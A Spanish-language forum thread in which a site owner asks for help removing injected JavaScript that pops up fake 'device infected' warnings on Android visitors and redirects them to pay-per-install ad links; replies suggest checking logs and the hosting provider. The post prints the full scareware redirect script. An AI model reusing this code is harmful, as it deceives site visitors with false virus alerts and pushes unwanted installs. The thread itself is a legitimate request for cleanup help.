Buenas, hace unos días me he encontrado con que mi web lanza un mensaje de virus de vez en cuando, al no encontrar ninguno me puse a investigar y descubrí las siguientes lineas de código usando la herramienta de firefox developers.
Estas lineas vienen del siguiente enlace "ht tp s:/ / d 6 vs15m0nt7ly.c l oudfront.net/ test.js"
Llevo días peleandome con esto y no encuentro nada ni googleando, ni la empresa de hosting me da solución, y la verdad no encuentro la fuente de este código para conseguir borrarla.

var ua = navigator.userAgent.toLowerCase();
var isAndroid = ua.indexOf("android") > -1;

var userLang = navigator.language || navigator.userLanguage;
userLang = userLang.toLowerCase();
var isBrazil = userLang.indexOf("pt-br") > -1;
var isRussia = userLang.indexOf("ru") > -1;

if(isAndroid) {
   if (isRussia) {
      if (confirm("Это устройство заражено. Необходимо установить антивирус")) {
         window.top.location.href='http://c.cpl1.ru/8UcC'; // LEO Privacy Guard Ru
      }
   } else if (isBrazil) {
      if (confirm("Este aparelho está infectado. É necessário fazer uma varredura com antivírus.")) {
          window.top.location.href='http://mytrackinglive.net/trkclk/?pid=357&cid=27615';
      }      
   } else {
      if (confirm("This device is infected. You must check it for viruses with antivirus.")) {
          window.top.location.href='http://c.cpl1.ru/8UcB'; // Hola Launcher
      }
   }
}

Muchas gracias si alguien puede ayudarme!.

Usa el servicio CDN de Amazon. Podrias denunciarlo, solo redirecciona a publicidades pay per install apps de instal.com parece ser.. pero como dice engel lex, cual es el problema ? no puedes borrarlo ?

Revisa los logs, es un hosting compartido ? o un hosting gratuito(puede que el mismo host lo agrege)?